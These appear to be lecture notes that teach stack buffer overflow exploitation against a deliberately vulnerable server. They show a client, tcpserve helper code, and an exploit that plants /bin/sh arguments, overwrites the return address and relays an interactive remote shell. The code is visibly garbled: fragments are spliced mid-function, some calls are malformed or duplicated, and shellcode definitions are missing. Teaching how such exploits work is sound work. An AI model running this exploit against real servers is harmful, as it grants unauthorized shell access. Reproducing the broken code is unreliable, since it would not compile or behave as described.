1. Introduction to buffer overflow attacks

There are many ways to attack computers. Today we study the "classic" method.

This method has been adapted to many different types of attacks, but the concepts are similar.

We study this attack not to teach you all to become hackers but rather to educate you about vulnerabilities: what they are, how they work, and how to defend against them. Please remember: _although the approaches used to break into computers are very interesting, breaking in to a computer that you do not own is, in most cases, a criminal act._

2. Let's examine a vulnerable server, buggy-server.c

3. Now let's examine how an unscrupulous element (a hacker, a script kiddie, a worm, and so on) might exploit the server.

Thanks to Russ Cox for the original version of the code, targeting Linux’s 32-bit x86.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

int dial(uint32_t, uint16_t);

int main(int argc, char ** argv) {
    char buf[400];
    int n, fd;
    long int addr;
    uint32_t server_ip_addr; uint16_t server_port;
    char * msg;
    if (argc != 3) {
        fprintf(stderr, "usage: %s ip_addr port\n", argv[0]);
        exit(1);
    }
    server_ip_addr = inet_addr(argv[1]);
    server_port = htons(atoi(argv[2]));
    if ((fd = dial(server_ip_addr, server_port)) < 0) {
        fprintf(stderr, "dial: %s\n", strerror(errno));
        exit(1);
    }
    if ((n = read(fd, buf, sizeof buf-1)) < 0) {
        fprintf(stderr, "socket read: %s\n", strerror(errno));
        exit(1);
    }
    buf[n] = 0;
    if(strcmp(buf, "the address of the buffer is\n", 29) != 0){
        fprintf(stderr, "bad message: %s\n", buf);
        exit(1);
    }
    addr = strtoull(buf+29, 0, 0);
    fprintf(stderr, "remote buffer is %lx\n", addr);
    /*
      * the next lines write a message to the server, in the format
      * that the server is expecting: first the length (n) then the
      * message itself.
      */
    msg = "hello, exploitable server.\n";
    n = strlen(msg);
    write(fd, &n, sizeof n);
    write(fd, msg, n);
    while((n = read(fd, buf, sizeof buf)) > 0)
        write(1, buf, n);
    return 0;
}

int dial(uint32_t dest_ip, uint16_t dest_port) {
    int fd;
    struct sockaddr_in sin;
    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        return -1;
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char **execargs;

int announce(int port) {
    int fd, n;
    struct sockaddr_in sin;
    memset(&sin, 0, sizeof sin);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = htonl(INADDR_ANY);
    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("socket");
        return -1;
    }
    n = 1;
    if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)\n&n, sizeof n) < 0){
        perror("reuseaddr");
        close(fd);
        return -1;
    }
    if(fcntl(fd, F_SETFD, 1));
    if(bind(fd, (struct sockaddr*)&sin, sizeof sin) < 0){
        perror("bind");
        close(fd);
        return -1;
    }
    if(listen(fd, 10) < 0){
        perror("listen");
    }
    return fd;
}
```
```c
int startprog(int fd) {
    /* Here is where the replacement of the usual stdin and stdout
    * happen. The next three lines say, "Ignore whatever value we used to
    * have for stdin, stdout, and stderr, and replace those three with
    * the network connection." */
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    if (fd > 2) close(fd);
    /* Now run 'prog' */
    execvp(execargs[0], execargs);
    /* */
    /* If the exec was successful, tcpserve will not make it to this
    * line. */
    printf("exec %s: %s
", execargs[0], strerror(errno));
    fflush(stdout);
    exit(0);
}
```
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

enum {
    REMOTE_BUF_LEN = 96,
    NCOPIES = 24,
};

int dial(uint32_t, uint16_t);

int main(int argc, char** argv)
{
    char helpfulinfo[100];
    char msg[REMOTE_BUF_LEN + NCOPIES*8];
    int i, n, fd;
    long int addr;
    uint32_t victim_ip_addr;
    uint16_t victim_port;

    if (argc != 3) {
        fprintf(stderr, "usage: exploit ip_addr port
        exit(1);
    } /* this line reads the line from the server wherein the server
    * tells the client where its stack is located. (thank you,
    * server!) */
    n = read(fd, helpfulinfo, sizeof(char)[n] = 0;
    if(n < 0){
        fprintf(stderr, "socket read: %s
        exit(1);
    } /* null-terminate our copy of the helpful information */
    helpfulinfo[n] = 0;
    /* check to make sure that the server gave us the helpful
    * information we were expecting. */
    if(strcmp(helpfulinfo, "the address of the buffer is ", 29) != 0){
        fprintf(stderr, "bad message: %s", helpfulinfo);
        exit(1);
    }
    addr = strtoul(helpfulinfo+29, 0, 0);
    fprintf(stderr, "remote buffer is at address %lx
    addr = strtoul(helpfulinfo+29, 0, 0);
    fprintf(stderr, "remote buffer is at address %lx
```
*(long int*)(msg + MovRdi) = addr + Arg0;
/*
 * The second argument is a pointer to the argv array (which is
 * itself an array of pointers) that the shell will be passed.
 * This array is currently not filled in, but we can still put a
 * pointer to the array in the shellcode.
 */
*(long int*)(msg + MovRsi) = addr + Arg0Ptr;
/* The third argument is the address of a location that holds 0 */
*(long int*)(msg + MovRdx) = addr + Arg2Ptr;
/* The array of addresses mentioned above are the arguments that
 * /bin/sh should begin with. In our case, /bin/sh only begins
 * with its own name and "-i", which means "interactive". These
 * lines load the 'argv' array.
 */
*(long int*)(msg + Arg0Ptr) = addr + Arg0;
*(long int*)(msg + Arg1Ptr) = addr + Arg1;
/* This line is one of the keys -- it places NCOPIES different copies
 * of our desired return address, which is the start of the message
 * in the server's address space. We use multiple copies in the hope
 * that one of them overwrites the return address on the stack. We
 * could have used more copies or fewer.
 */
for(i=0; i<NCOPIES; i++)
    *(long int*)(msg + REMOTE_BUF_LEN + i*8) = addr;

n = REMOTE_BUF_LEN + NCOPIES*8;
/* Tell the server how long our message is. */
write(fd, &n, 4);
/* And now send the message, thereby smashing the server's stack.*/
write(fd, msg, n);
/* These next lines:
 * (1) read from the client’s stdin, and write to the network
 * connection (which should now have a shell on the other
 * end);
 * (2) read from the network connection, and write to the
 * client’s stdout.
 * In other words, these lines take care of the I/O for the
 * shell that is running on the server. In this way, we on the
 * client can control the shell that is running on the server.
 */
switch(fork()){
case 0:
    while((n = read(0, msg, sizeof msg)) > 0)
        write(fd, msg, n);
        fprintf(stderr, "eof from local\n");
    break;
default:
    while((n = read(fd, msg, sizeof msg)) > 0)
        write(1, msg, n);
        fprintf(stderr, "eof from remote\n");
    break;
}
return 0;
/* boilerplate networking code for initiating a TCP connection */
int
dial(uint32_t dest_ip, uint16_t dest_port)
{
    int fd;
    struct sockaddr_in sin;
    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        return -1;